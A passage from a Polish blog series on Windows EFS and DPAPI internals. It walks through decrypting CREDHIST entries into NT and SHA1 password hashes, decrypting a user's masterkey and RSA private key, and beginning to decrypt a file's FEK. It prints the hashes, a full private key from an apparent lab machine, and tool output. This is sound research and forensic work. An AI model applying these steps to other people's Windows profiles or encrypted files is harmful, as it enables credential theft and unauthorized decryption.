Entry[9]:
 guid:                 d6f7e7d4-9014-4c98-8d5f-fa08cd74f49f
 hashAlgo:             0x800E (SHA512)
 cipherAlgo:           0x6610 (AES-256)
 rounds:               17400
 iv:                   283E18D599A5CF37A91A0AD325CF432A
 decrypted pwdhash:    CC2225CC3784FBFEC26F87A511FB7BCCE4718096
 decrypted nthash:     E4F1BA73165D937C5FC709517E604D73

Entry[10]:
 guid:                 ac155368-c1f5-414e-958f-873e2409881e
 hashAlgo:             0x800E (SHA512)
 cipherAlgo:           0x6610 (AES-256)
 rounds:               17400
 iv:                   2D2863205712AE0790DF0F17A582AFCC
 decrypted pwdhash:    0C2078F4B64FA8A76A2204FB5FE56FA1A3499F4D
 decrypted nthash:     5FA88DF7BF81CCC14C7F75111F4C9C0F

Entry[11]:
 guid:                 6e452b3d-9f14-4ae2-8ecf-10b2217da8b5
 hashAlgo:             0x800E (SHA512)
 cipherAlgo:           0x6610 (AES-256)
 rounds:               17400
 iv:                   AF2BB5D0BA5466FEE19B210B9D155789
 decrypted pwdhash:    CC2225CC3784FBFEC26F87A511FB7BCCE4718096
 decrypted nthash:     E4F1BA73165D937C5FC709517E604D73

Entry[12]:
 guid:                 abd074f1-8832-4e02-8ae1-8febc15fcc9b
 hashAlgo:             0x800E (SHA512)
 cipherAlgo:           0x6610 (AES-256)
 rounds:               17400
 iv:                   7E36201CB0E1FC708ED8B9A7366FD374
 decrypted pwdhash:    0C2078F4B64FA8A76A2204FB5FE56FA1A3499F4D
 decrypted nthash:     5FA88DF7BF81CCC14C7F75111F4C9C0F

Entry[13]:
 guid:                 cad9ca65-b155-46a6-adf9-81fd787114dd
 hashAlgo:             0x800E (SHA512)
 cipherAlgo:           0x6610 (AES-256)
 rounds:               17400
 iv:                   944A03FE54F74768453892EC06E2218D
 decrypted pwdhash:    CC2225CC3784FBFEC26F87A511FB7BCCE4718096
 decrypted nthash:     E4F1BA73165D937C5FC709517E604D73

Entry[14]:
 guid:                 449f6eee-5278-439e-92d6-fe7e70838ccc
 hashAlgo:             0x800E (SHA512)
 cipherAlgo:           0x6610 (AES-256)
 rounds:               17400
 iv:                   C269E7A4FADB7E2C4DB02E4767BAA684
 decrypted pwdhash:    0C2078F4B64FA8A76A2204FB5FE56FA1A3499F4D
 decrypted nthash:     5FA88DF7BF81CCC14C7F75111F4C9C0F

Entry[15]:
 guid:                 47eb2dab-3adc-4d77-9646-6309285b4f06
 hashAlgo:             0x800E (SHA512)
 cipherAlgo:           0x6610 (AES-256)
 rounds:               17400
 iv:                   272AA056CBB7578EBAE857FF688F0C61
 decrypted pwdhash:    CC2225CC3784FBFEC26F87A511FB7BCCE4718096
 decrypted nthash:     E4F1BA73165D937C5FC709517E604D73


Jak widać, zmieniałem co najmniej kilkanaście razy hasło, przy czym wygląda na to, że używałem na zmianę dwóch :) Z użyciem prostego kalkulatora (który wylicza także skrócik MSDCC2) mogę porównać:

>HashCalc.exe <haslo1> Admin
MD4(NTHash):   5FA88DF7BF81CCC14C7F75111F4C9C0F
SHA1:          0C2078F4B64FA8A76A2204FB5FE56FA1A3499F4D
MSDCC2:        CC0261BBDD0A43517566DA3B997A12B7

>HashCalc.exe <haslo2> Admin
MD4(NTHash):   E4F1BA73165D937C5FC709517E604D73
SHA1:          CC2225CC3784FBFEC26F87A511FB7BCCE4718096
MSDCC2:        75E4DA1B06D6CBFC88568558919ED359


Back to masterkey

Mając skróty dla wpisu o interesującym nas guidzie możemy wrócić do pliku masterkey, gdzie wykonujemy kroki podobne do tych, które wykonywaliśmy przed chwilą:
- rozpoczynamy od wyliczenia skrótu HMAC-SHA1 (encKey) na podstawie skrótu hasła (wyciągniętego przed chwilą) oraz SIDa zakończonego "\0";
- tak wyliczony encKey trafia do funkcji pbkdf2 wraz z pozostałymi parametrami, w naszym przypadku:
cipherKey = pbkdf2(hashAlgo = 0x800e (SHA512), encryptionKey = encKey, iv = iv(16 bajtów widocznych na Rys 10), rounds = 17400)
- tak wyznaczony klucz (cipherKey) trafia do algorytmu symetrycznego (w naszym przypadku AES-256-CBC), przy czym:
(i) pierwsze 16 bajtów to salt, który za chwilkę użyjemy do wyliczenia hmaca;
(ii) kolejne 512(z bitowej długości hasza) / 8 = 64 bajty to hmac, z którym za chwilę porównamy nasz;
(iii) ostatnie 64 bajty wyniku zawierają odszyfrowany klucz masterkey_decrypted.
Do wyliczenia "hmaca" bierzemy encKey, salt, masterkey_decrypted i stosujemy funkcję skrótu hashAlgo (najpierw na encKey + salt), później na wynik tego + masterkey_decrypted.

>MasterKeyDecrypt "S-1-5-21-580747136-2243477503-2994681153-1000" "CC2225CC3784FBFEC26F87A511FB7BCCE4718096" %APPDATA%\Microsoft\Protect\S-1-5-21-580747136-2243477503-2994681153-1000\f36aeda2-00fc-40d3-bac6-41866e959715
Master guid:           f36aeda2-00fc-40d3-bac6-41866e959715
Credhist guid:         eaa7c4f9-ef65-42cb-9fd4-1713eaa32669

MasterKey:
 hashAlgo:             0x800E (SHA512)
 cipherAlgo:           0x6610 (AES-256)
 rounds:               17400
 decrypted key:        F0A6B3E5053F34A63F1D4D7D2488E523DF0A921432BFC761AAB317C70C3EB0849163F267419478B693738FE212F7A89835CDE50511FB2715FBB1F7E7621D908D
F0 A6 B3 E5 05 3F 34 A6 3F 1D 4D 7D 24 88 E5 23   ?|3a.?4|?.M}$?a#
DF 0A 92 14 32 BF C7 61 AA B3 17 C7 0C 3E B0 84   ß.?.2?Çaa3.Ç.>°?
91 63 F2 67 41 94 78 B6 93 73 8F E2 12 F7 A8 98   ?cogA?x¶?s?â.÷¨?
35 CD E5 05 11 FB 27 15 FB B1 F7 E7 62 1D 90 8D   5Ía..u'.u+÷çb.??


Back to rsafile

Możemy teraz przymierzyć się do odszyfrowania bloba DPAPI. Zaczynamy od rsaFlags.
- zaczynamy od wyliczenia HMAC z haszem wyliczanym zgodnie z algorytmem zapisanym w hashAlgo i długości hashLen, w naszym przypadku - HMAC-SHA512, przy czym jako entropię stosujemy zahardkodowany ciąg ASCII "Hj1diQ6kpUx7VC4m\0";
- wynikowe 64 bajty bierzemy jako klucz deszyfrujący w algorytmie symetrycznym (zgodnie z podanymi parametrami, w naszym przypadku: AES-256;
- dla pewności wyliczamy sign biorąc masterkey, hmac, entropię oraz blob (ciąg bajtów od początku bloba do końca cipherText, a więc bez ciągu sign i jego długości), korzystając z tego samego co w pierwszym punkcie algorytmu i porównujemy z zawartością pola sign. Jak się wszystko zgadza - znaczy, że nikt nic nie majstrował :)
Mając odszyfrowane pole rsaFlags bierzemy wynikowe dane jako entropię do odszyfrowania klucza prywatnego, przy czym masterKey pozostaje bez zmian (co zresztą wynika wprost z guida masterKey dla bloba powiązanego z kluczem prywatnym).
Stosujemy ten sam algorytm, co w przypadku rsaFlags i w wyniku otrzymujemy zestaw parametrów klucza prywatnego (Rys 13)


Rys 13. Odszyfrowany zestaw parametrów klucza RSA

Szczegóły znajdziemy na Rys 14


Rys 14. Parametry klucza RSA

Dla swojej wygody zapisałem parametry zgodnie z notacją, którą możemy znaleźć w implementacji algorytmu RSA Microsoftu w .NET Framework. Jeszcze tylko zrzut wszystkich elementów:

>RSAFileDecrypter F0A6B3E5053F34A63F1D4D7D2488E523DF0A921432BFC761AAB317C70C3EB0849163F267419478B693738
FE212F7A89835CDE50511FB2715FBB1F7E7621D908D 7023b50b1cb2749ef32e108926d13a7d_2f51b5ee-3fb6-43b6-9baa-ba5e4247b0df

Key container:         0d29406b-f9e6-4659-90e4-c407201049d2
Key bit length:        2048

RSA private key:
 mkguid:               f36aeda2-00fc-40d3-bac6-41866e959715
 hashAlgo:             0x800E (SHA512)
 cipherAlgo:           0x6610 (AES-256)
 decrypted blob
52 53 41 32 08 01 00 00 00 08 00 00 FF 00 00 00   RSA2............
01 00 01 00 0F 27 26 AF C6 5C 56 15 1A 20 3D BE   .....'&ÄA\V...=3
AF F2 1C 7B BC 14 17 3E 1D 2D 8F 0C D0 2B 36 36   Äo.{1..>.-?.?+66
5C 8D 69 9E E2 72 D9 78 FF A3 6A 61 2E 5F 4E 9D   \?i?ƒrUx.Lja._N?
03 51 96 D2 76 12 3D 52 54 4A B8 A4 6A D5 71 41   .Q?Ov.=RTJ÷ĎjOqA
6E 60 B7 00 55 F5 51 D9 04 35 58 78 F1 12 B9 BB   n`.UoQU.5Xxn.1Ż
26 58 1D 16 AA C3 5B 1E 85 1F 16 99 C2 4F F2 1D   &X..aA[.?..?¶Oo.
9E E2 3A 81 6F E9 90 23 66 C5 26 6C 2D 6C 9F D7   ?ƒ:?o‚?#fA&l-l?ž
06 78 4B FA D3 B6 90 9C 98 F5 81 71 98 5C 24 F6   .xKŁŕ???o?q?\$"
09 EA B3 AB F4 45 E1 57 DB 87 95 71 2A BC 8B 30   .e3®"E WU??q*1?0
91 25 B0 67 CB 5D D6 B2 E6 1B B3 57 61 96 2D EE   ?%řgÓ]™2a.3Wa?-Ś
4F 03 63 07 DC 6A E1 A5 25 EA 53 7A CD 07 E7 42   O.c.šj Y%eSzÖ.‡B
C9 59 B3 8A 43 DA 02 BA CA 4B 68 C0 FB 2D 0C 0D   Y3?Cé.oEKhAu-..
32 39 4A 2B 31 93 0F A3 FB C7 16 4D 06 F7 B1 EE   29J+1?.Lu€.M.ö+Ś
F2 68 DB D7 B0 2D 99 A9 9F D5 A7 87 93 5B 9B B6   ohUžř-?c?Oő??[?
46 B6 7D B8 1F E5 C9 75 25 74 47 B9 D6 14 C3 E0   F}÷.au%tG1™.Aa
72 9F B8 22 3A 26 FB AD A8 6A 48 94 DC 95 9E A1   r?÷":&uđůjH?š??!
AD 8C D5 9F 00 00 00 00 00 00 00 00 C9 25 F7 C6   đ?O?........%öA
E1 1A D7 C6 83 7C DB 4D 3A AA BA 72 20 90 7A E0    .žA?|UM:aor.?za
67 26 6E B3 EA 6B F7 40 6A 2F 05 E4 B0 96 11 B8   g&n3ekö@j/.„ř?.÷
FE 2F BC E3 F5 EB 09 43 90 F7 30 B2 D2 6A 01 DE   ./1ao‰.C?ö02Oj.?
73 26 03 0F 23 BD C2 99 10 B1 6F BC 36 73 1A D9   s&..#1¶?.+o16s.U
22 88 01 36 39 65 0C 63 1D 7A 15 F3 40 91 E1 AF   "?.69e.c.z.˘@? Ä
85 DA 12 6F 64 F3 65 E4 55 6E EC 2A 4A B1 1E 59   ?é.od˘e„Uni*J+.Y
33 09 F5 2E 9E A0 E3 D8 E3 56 79 E0 6F 2F D3 13   3.o.?˙aOaVyao/ŕ.
1D 05 1C 4C AB 85 04 99 9A 35 16 DA 00 00 00 00   ...L®?.??5.é....
17 B2 4C 47 EC 64 EB 28 9E 09 5A 89 03 B3 29 DD   .2LGid‰(?.Z?.3)í
D6 0F 64 77 28 B3 79 AF FF 82 09 1E D9 C6 D7 3B   ™.dw(3yÄ.?..UAž;
A3 9B 19 9A D1 88 60 54 EA 42 9E 90 BB 6E F4 AA   L?.?N?`TeB??Żn"a
44 07 E5 A0 01 94 4F 29 3B 6C 42 F4 31 4E 1A F0   D.a˙.?O);lB"1N.?
92 C9 FB 1A FC A6 A4 8E 27 C3 95 CF 0C 83 22 CC   ?u.|Ď?'A?I.?"I
20 C1 EB 77 5F 04 1B 48 94 57 4F E5 E0 E0 E8 B1   .µ‰w_..H?WOaaac+
25 FC D0 D3 49 E2 6F 99 78 86 22 BD 71 BB B6 6F   %?ŕIƒo?x?"1qŻo
21 CC 18 D4 D9 67 8A E8 B0 0D D1 2C 1E DA 9E BB   !I.âUg?cř.N,.é?Ż
00 00 00 00 E9 AF 30 90 67 5E 49 B2 30 E3 04 8F   ....‚Ä0?g^I20a.?
C0 67 1D 41 D1 D8 21 D6 D8 B0 5C 11 CB 19 39 5A   Ag.ANO!™Oř\.Ó.9Z
31 55 E4 F1 CA 6B 68 AA D2 F1 9B AF 39 D7 99 20   1U„nEkhaOn?Ä9ž?.
56 2C D7 8F 87 14 27 DE ED B8 13 00 91 85 49 96   V,ž??.'?ˇ÷..??I?
4D 7C B8 37 B8 22 F8 3B E7 52 44 5F 04 17 93 22   M|÷7÷"o;‡RD_..?"
2B 81 4F DA 08 F2 D6 B7 8F 70 5C 2B 77 5B 8E A3   +?Oé.o™?p\+w[?L
52 B3 F8 43 30 83 EF 70 F3 39 0F 84 45 04 51 59   R3oC0?ip˘9.?E.QY
A5 C8 49 96 D8 88 84 E8 FC 7D 5D A6 8A 94 2E F0   YEI?O??c}]|??.?
A9 76 B5 37 00 00 00 00 47 0F 12 0F 56 51 32 6A   cvu7....G...VQ2j
99 47 E1 B9 85 F4 E7 C6 D6 E9 40 05 57 FD FC FE   ?G 1?"‡A™‚@.Wě.
52 AB F2 A2 97 19 72 B0 B7 B4 03 B1 41 D2 D7 7F   R®oc?.rřď.+AOž.
E6 00 9D BF A6 06 E1 3D E0 C5 51 54 BF DB C4 72   a.??|. =aAQT?UŽr
88 1E BA 9E 6E D3 42 84 8B 24 68 82 C4 41 F6 C9   ?.o?nŕB??$h?ŽA"
E7 3B 14 D8 DA C1 13 48 79 15 CF E4 49 F8 8D E5   ‡;.Oéµ.Hy.I„Io?a
3E 11 BC B4 C9 25 56 A1 48 05 7C 01 E7 13 12 B3   >.1ď%V!H.|.‡..3
EB 6D 14 D7 FF C0 3B E2 38 81 0B F1 92 A2 91 34   ‰m.ž.A;ƒ8?.n?c?4
38 F7 27 FB 7E 6D 70 71 00 00 00 00 9D 77 F9 73   8ö'u~mpq....?wus
BF 14 86 5A 4B 52 B5 30 22 C5 9E 18 6C 93 81 BF   ?.?ZKRu0"A?.l???
79 B2 EB C8 18 45 42 AB 42 9A 2B 44 7D BE EE 81   y2‰E.EB®B?+D}3Ś?
6C 22 0C 86 84 74 E9 50 F2 8A C0 6B 2E AA E5 8D   l".??t‚Po?Ak.aa?
55 75 5B 83 C1 E1 24 0D E0 9E 99 CA E0 E6 02 3A   Uu[?µ $.a??Eaa.:
0F C2 36 C5 B8 61 C0 6F 93 AA 30 68 14 40 DA 3E   .¶6A÷aAo?a0h.@é>
4B 67 C4 C5 78 E6 CF FB B6 87 AF 73 98 00 C0 ED   KgŽAxaIu?Äs?.Aˇ
88 4E 0F 87 32 F2 90 E5 E4 5B 34 EA 2E 6C E8 3C   ?N.?2o?a„[4e.lc<
5F 9B DD EC A1 04 03 23 B8 90 CF 43 00 00 00 00   _?íi!..#÷?IC....
71 4E 81 85 E8 C1 8B B4 7D 95 23 DA BB 8A 56 A1   qN??cµ?ď}?#éŻ?V!
D6 34 8B 84 B8 8B 64 60 F2 CB D4 2F 04 14 28 37   ™4??÷?d`oÓâ/..(7
39 67 93 A9 9F C5 E2 06 D6 73 37 09 D1 39 02 7E   9g?c?Aƒ.™s7.N9.~
B3 91 15 30 BE 68 C3 93 B3 0C EE 38 98 26 27 36   3?.03hA?3.Ś8?&'6
52 D6 47 D1 23 43 94 98 06 A5 58 2F CA 51 7B 08   R™GN#C??.YX/EQ{.
2B A2 86 59 1C 2C 83 73 10 F1 B7 3A 2E 24 82 30   +c?Y.,?s.n:.$?0
C1 16 B6 DD 52 E3 EE F9 C6 A2 40 C7 50 74 60 78   µ.íRaŚuAc@€Pt`x
25 89 9D DF 16 E5 28 C1 48 41 B5 41 17 E3 B8 4B   %??á.a(µHAuA.a÷K
51 B7 E9 A9 D0 D8 B6 CF 2A 2E AF 7B 60 D7 80 CF   Q‚c?OI*.Ä{`ž?I
3A DE 9C A1 70 BB A7 42 FE 83 81 8D A2 4B 20 7E   :??!pŻőB.???cK.~
AD 24 76 D4 EE DF F3 88 38 C2 39 EA 20 B3 2A 75   đ$vâŚá˘?8¶9e.3*u
F8 FA CA 7C F5 DD BD 46 04 77 38 43 5E E8 38 2D   oŁE|oí1F.w8C^c8-
B1 64 7E 40 BF 2D D6 58 94 D5 5E 14 A3 43 F9 4F   +d~@?-™X?O^.LCuO
20 8E B1 A2 F6 5F E0 78 2A D7 80 8F 9E 76 97 E1   .?+c"_ax*ž???v?
55 53 68 FE 7F 95 6C 31 26 AD 64 C9 64 0A B2 9B   USh..?l1&đdd.2?
EB 73 DD C1 29 39 82 C9 94 1F D1 70 C3 E5 43 08   ‰síµ)9??.NpAaC.
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00   ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00   ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00   ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00   ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00   ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00   ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00   ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00   ................
00 00 00 00 E6 B6 A0 43 99 77 54 4B 04 04 04 04   ....a˙C?wTK....

 RSA XML:
<RSAKeyValue><Modulus>n9WMraGeldyUSGqorfsmOiK4n3LgwxTWuUd0JXXJ5R+4fbZGtptbk4en1Z+pmS2w19to8u6x9wZNFsf7ow+TMStKOTINDC37wGhLyroC2kOKs1nJQucHzXpT6iWl4WrcB2MDT+4tlmFXsxvmstZdy2ewJZEwi7wqcZWH21fhRfSrs+oJ9iRcmHGB9ZickLbT+kt4BtefbC1sJsVmI5Dpb4E64p4d8k/CmRYfhR5bw6oWHVgmu7kS8XhYNQTZUfVVALdgbkFx1WqkuEpUUj0SdtKWUQOdTl8uYWqj/3jZcuKeaY1cNjYr0AyPLR0+FxS8exzyr749IBoVVlzGryYnDw==</Modulus><Exponent>AQAB</Exponent><P>2hY1mpkEhatMHAUdE9Mvb+B5VuPY46CeLvUJM1kesUoq7G5V5GXzZG8S2oWv4ZFA8xV6HWMMZTk2AYgi2RpzNrxvsRCZwr0jDwMmc94BatKyMPeQQwnr9eO8L/64EZaw5AUvakD3a+qzbiZn4HqQIHK6qjpN23yDxtca4cb3Jck=</P><Q>u57aHizRDbDoimfZ1BjMIW+2u3G9IoZ4mW/iSdPQ/CWx6ODg5U9XlEgbBF9368EgzCKDDM+VwyeOpKb8GvvJkvAaTjH0Qmw7KU+UAaDlB0Sq9G67kJ5C6lRgiNGaGZujO9fG2R4Jgv+vebMod2QP1t0pswOJWgmeKOtk7EdMshc=</Q><DP>N7V2qfAulIqmXX386ISI2JZJyKVZUQRFhA8583DvgzBD+LNSo45bdytccI+31vII2k+BKyKTFwRfRFLnO/giuDe4fE2WSYWRABO47d4nFIeP1yxWIJnXOa+b8dKqaGvK8eRVMVo5GcsRXLDY1iHY0UEdZ8CPBOMwskleZ5Awr+k=</DP><DQ>cXBtfvsn9zg0kaKS8QuBOOI7wP/XFG3rsxIT5wF8BUihViXJtLwRPuWN+EnkzxV5SBPB2tgUO+fJ9kHEgmgki4RC026euh6IcsTbv1RRxeA94Qamv50A5n/X0kGxA7S3sHIZl6Lyq1L+/P1XBUDp1sbn9IW54UeZajJRVg8SD0c=</DQ><InverseQ>Q8+QuCMDBKHs3ZtfPOhsLuo0W+TlkPIyhw9OiO3AAJhzr4e2+8/meMXEZ0s+2kAUaDCqk2/AYbjFNsIPOgLm4MqZnuANJOHBg1t1VY3lqi5rwIryUOl0hIYMImyB7r59RCuaQqtCRRjI67J5v4GTbBiexSIwtVJLWoYUv3P5d50=</InverseQ><D>CEPlw3DRH5TJgjkpwd1z65uyCmTJZK0mMWyVf/5oU1Xhl3aej4DXKnjgX/aisY4gT/lDoxRe1ZRY1i2/QH5ksS046F5DOHcERr3d9XzK+vh1KrMg6jnCOIjz3+7UdiStfiBLoo2Bg/5Cp7twoZzeOs+A12B7ry4qz7bY0Knpt1FLuOMXQbVBSMEo5RbfnYkleGB0UMdAosb57uNS3bYWwTCCJC46t/EQc4MsHFmGoisIe1HKL1ilBpiUQyPRR9ZSNicmmDjuDLOTw2i+MBWRs34COdEJN3PWBuLFn6mTZzk3KBQEL9TL8mBki7iEizTWoVaKu9ojlX20i8HohYFOcQ==</D></RSAKeyValue>


Dla tych, którzy nie znają ‘standardu’ rsa xml krótkie wyjaśnienie: bodaj tylko Microsoft korzysta w .NET Framework z takiego zapisu parametrów klucza prywatnego i powyższy ciąg może służyć do wypełnienia pól obiektu klasy RSACryptoServiceProvider, z użyciem metody o wiele mówiącej nazwie: FromXmlString(string xmlString). Ciekawostką jest fakt, że łańcuch base64 zawiera zakodowany odwrócony oryginalny ciąg bajtów danego parametru, nie jest to zresztą jedyne miejsce, gdzie odbywa się odwrócenie.

Kilka uwag implementacyjnych

.NET dostarcza przestrzeń System.Security.Cryptography, w której znajdziemy implementację zarówno funkcji haszujących, jak i algorytmów symetrycznych i asymetrycznych. DPAPI zapisuje używane przez siebie algorytmy w postaci liczby typu ALG_ID, jednak w .NET nie mamy wbudowanej metody fabryki, z której można skorzystać i wyciągać odpowiedni algorytm w oparciu o alg_id. Są za to abstrakcyjne klasy, które udostępniają metodę Create(string name), przy czym name trafia do klasy CryptoConfig, która ma zaszytych trochę algorytmów w postaci tablic haszujących. Najwygodniej wystrugać swoją własną klasę dostarczającą odpowiednie algorytmy + ich parametry, przyjmując alg_id jako parametr.
Kolejna uwaga dotyczy HMAC - na próżno w .NET Framework szukać HMAC opartego o SHA-512, ponieważ klasa HMAC ma zaszytą funkcją skrótu jako SHA1. Tu z pomocą przychodzi rozwiązanie opisane w książce "Security driven .NET", do lektury której gorąco zachęcam, więcej szczegółów na końcu serii.
W kilku miejscach pojawia się funkcja PBKDF2 i prawdopodobnie pierwsza myśl, jaka przychodzi do głowy, to skorzystać z klasy System.Security.Cryptography.Rfc2898DeriveBytes, która implementuje tę funkcję zgodnie ze standardem RFC2898. Niestety, oryginalna implementacja Microsoftu w DPAPI nieco odbiega od standardu i zamiast wyliczania hasza na podstawie oryginalnego hasza, tu wyliczany jest ‘hasz postępujący’, czyli po operacji XOR. Poniżej funkcja wyliczająca wraz z zakomentowanym w pętli ‘zgodnym ze standardem’ rachunkiem:

byte[] Func()

{

byte[] inputBuffer = Int2(this.block);

this.hmac.TransformBlock(this.salt, 0, this.salt.Length, this.salt, 0);

this.hmac.TransformFinalBlock(inputBuffer, 0, inputBuffer.Length);

byte[] hash =this.hmac.Hash;

this.hmac.Initialize();

byte[] buffer3 = hash;

for (int i = 2; i <= this.iterations; i++)

{

//hash = this.hmac.ComputeHash(hash);

hash =this.hmac.ComputeHash(buffer3);

for (int j = 0; j < BlockSize; j++)

{

buffer3[j] ^= hash[j];

}

}

this.block++;

return buffer3;

}


Oczywiście przy 1-2 iteracjach problemu nie ma, jednak przy 17400, jak to widzieliśmy w tekście, wyniki byłyby różne.

Ciąg dalszy nastąpi

Wygląda na to, że mamy z czym wracać do naszego zaszyfrowanego EFSem pliku. Mając wszystkie parametry klucza RSA możemy nareszcie zaatakować FEK i podjąć próbę odszyfrowania pliku. Pozostawiam to jednak na kolejny wpis, albowiem niespodzianek nie koniec i zapewne część z Was ulegnie temu samemu ‘ale jak to?! nie… coś chyba nie tak!’, któremu ja uległem swego czasu :)

$EFS, cz 3. Wielki Finał

$
0
0
Odszyfrowanie wszystkich parametrów RSA klucza zbliża nas nieuchronnie do kresu wędrówki. Jesteśmy już tylko kilka kroków od rozwiązania wszystkich zagadek i odzyskania oryginalnej zawartości pliku. Zapraszam do ostatniego już odcinka mini serii poświęconej internalsom EFS i DPAPI.

FEK ponownie

Poprzednią część zakończyliśmy zapisaniem parametrów klucza RSA w formacie XML.

<RSAKeyValue>
  <Modulus>
    n9WMraGeldyUSGqorfsmOiK4n3LgwxTWuUd0JXXJ5R+4fbZGtptbk4en1Z+pmS2w19to8u
    6x9wZNFsf7ow+TMStKOTINDC37wGhLyroC2kOKs1nJQucHzXpT6iWl4WrcB2MDT+4tlmFX
    sxvmstZdy2ewJZEwi7wqcZWH21fhRfSrs+oJ9iRcmHGB9ZickLbT+kt4BtefbC1sJsVmI5
    Dpb4E64p4d8k/CmRYfhR5bw6oWHVgmu7kS8XhYNQTZUfVVALdgbkFx1WqkuEpUUj0SdtKW
    UQOdTl8uYWqj/3jZcuKeaY1cNjYr0AyPLR0+FxS8exzyr749IBoVVlzGryYnDw==
  </Modulus>
  <Exponent>
    AQAB
  </Exponent>
  <P>
    2hY1mpkEhatMHAUdE9Mvb+B5VuPY46CeLvUJM1kesUoq7G5V5GXzZG8S2oWv4ZFA8xV6HW
    MMZTk2AYgi2RpzNrxvsRCZwr0jDwMmc94BatKyMPeQQwnr9eO8L/64EZaw5AUvakD3a+qz
    biZn4HqQIHK6qjpN23yDxtca4cb3Jck=
  </P>
  <Q>
    u57aHizRDbDoimfZ1BjMIW+2u3G9IoZ4mW/iSdPQ/CWx6ODg5U9XlEgbBF9368EgzCKDDM
    +VwyeOpKb8GvvJkvAaTjH0Qmw7KU+UAaDlB0Sq9G67kJ5C6lRgiNGaGZujO9fG2R4Jgv+v
    ebMod2QP1t0pswOJWgmeKOtk7EdMshc=
  </Q>
  <DP>
    N7V2qfAulIqmXX386ISI2JZJyKVZUQRFhA8583DvgzBD+LNSo45bdytccI+31vII2k+BKy
    KTFwRfRFLnO/giuDe4fE2WSYWRABO47d4nFIeP1yxWIJnXOa+b8dKqaGvK8eRVMVo5GcsR
    XLDY1iHY0UEdZ8CPBOMwskleZ5Awr+k=
  </DP>
  <DQ>
    cXBtfvsn9zg0kaKS8QuBOOI7wP/XFG3rsxIT5wF8BUihViXJtLwRPuWN+EnkzxV5SBPB2t
    gUO+fJ9kHEgmgki4RC026euh6IcsTbv1RRxeA94Qamv50A5n/X0kGxA7S3sHIZl6Lyq1L+
    /P1XBUDp1sbn9IW54UeZajJRVg8SD0c=
  </DQ>
  <InverseQ>
    Q8+QuCMDBKHs3ZtfPOhsLuo0W+TlkPIyhw9OiO3AAJhzr4e2+8/meMXEZ0s+2kAUaDCqk2
    /AYbjFNsIPOgLm4MqZnuANJOHBg1t1VY3lqi5rwIryUOl0hIYMImyB7r59RCuaQqtCRRjI
    67J5v4GTbBiexSIwtVJLWoYUv3P5d50=
  </InverseQ>
  <D>
    CEPlw3DRH5TJgjkpwd1z65uyCmTJZK0mMWyVf/5oU1Xhl3aej4DXKnjgX/aisY4gT/lDox
    Re1ZRY1i2/QH5ksS046F5DOHcERr3d9XzK+vh1KrMg6jnCOIjz3+7UdiStfiBLoo2Bg/5C
    p7twoZzeOs+A12B7ry4qz7bY0Knpt1FLuOMXQbVBSMEo5RbfnYkleGB0UMdAosb57uNS3b
    YWwTCCJC46t/EQc4MsHFmGoisIe1HKL1ilBpiUQyPRR9ZSNicmmDjuDLOTw2i+MBWRs34C
    OdEJN3PWBuLFn6mTZzk3KBQEL9TL8mBki7iEizTWoVaKu9ojlX20i8HohYFOcQ==
  </D>
</RSAKeyValue>


(Uwaga dla purystów base64: ciągi podzieliłem ręcznie ze względu na wyświetlanie na blogu, więc nie męczcie o znaki kontynuacji. W oryginale nie ma żadnego znaku podziału wiersza i linii).
Możemy zatem przystąpić do odszyfrowania FEKa, którego namierzyliśmy w pierwszej części:

>EFSAnalysis.exe encrypted_file.txt.efs

EFS Stream Header:
Len: 664, state: 0, ver: 2, crypto api ver: 0
Num of DDFs: 1, DRFs: 0

DDFs:
SID: S-1-5-21-580747136-2243477503-2994681153-1000:
Certificate:
   Thumbprint: EFF5EDAB8123D06B6EFEA7D87716B03F9C8F48CD
   Container name: 0d29406b-f9e6-4659-90e4-c407201049d2
   Provider name: Microsoft Enhanced Cryptographic Provider v1.0
   User name: Admin(Admin@VM7)
Encrypted FEK:
FE 1B 0D 07 2F 56 96 09 6C D8 DD 54 92 FF 23 2E   ..../V?.lOYT?.#.
15 93 D2 4C 5F 4D 76 F6 35 DB 75 BF 5C 24 4C D5   .?OL_Mvö5Uu¿\$LO
46 12 B7 DD C2 09 F5 DB 0E 01 CC E0 51 B0 A6 87   F.·YA.oU..IàQ°▌?
15 AB A9 FC 56 BE 3C BD 0A BA C6 D8 DF 6A DE 4B   .«cüV_<½.ºÆOßj_K
78 BB E0 CC 2F 88 86 BC 20 23 BB 86 EB 72 AC 4B   x»àI/??¼.#»?ër¬K
4F AE 05 9F 1A 99 BC BC 80 52 FB D1 8B 7B 90 B1   Or.?.?¼¼?RûÑ?{?±
8B E9 B7 A4 85 D0 FF 18 3C C9 C5 8C 9A 7A 1C 04   ?é·☼?D..<ÉÅ??z..
D6 C7 A6 0B A8 76 4E 9C 87 3E B8 DC 62 C3 ED 57   ÖÇ▌."vN??>,ÜbAíW
CB FE 01 B8 20 91 87 EB 96 18 14 0B DF 2E E4 F8   E..,.??ë?...ß.äo
7A 5D C8 1D 77 0F E6 9A 7F 89 B9 C0 E5 8E DC 4D   z]E.w.æ?.?1Aå?ÜM
5A C5 9C 3E 05 24 89 21 C9 79 73 9F 42 FE 64 AC   ZÅ?>.$?!Éys?B.d¬
4E 28 B6 25 1A 58 0E A0 D0 68 4B 38 6B 78 6D F6   N(¶%.X. DhK8kxmö
41 6A 8A 70 24 CB 45 48 11 81 C9 06 9B 75 18 A1   Aj?p$EEH.?É.?u.¡
10 33 46 9B 63 D9 4E CF 44 C5 4E 4A 58 F6 F8 15   .3F?cUNIDÅNJXöo.
BF FD 43 98 74 2B E5 55 9A 9E FF 77 55 5B CD F9   ¿yC?t+åU??.wU[Iù
CC 48 31 BC 51 17 67 F5 61 BB A2 C4 88 2A 42 83   IH1¼Q.goa»¢Ä?*B?


Posługujemy się zatem algorytmem RSA z wyliczonym w drugiej części 2048-bitowym kluczem i w pierwszym podejściu otrzymujemy - niezwykle wredny skądinąd - komunikat ‘Złe dane’. Wrr!!! Odwracamy zaszyfrowany FEK, zapuszczamy ponownie algorytm i w wyniku otrzymujemy 48 bajtów (Rys 1).

 
Rys 1. Odszyfrowany FEK

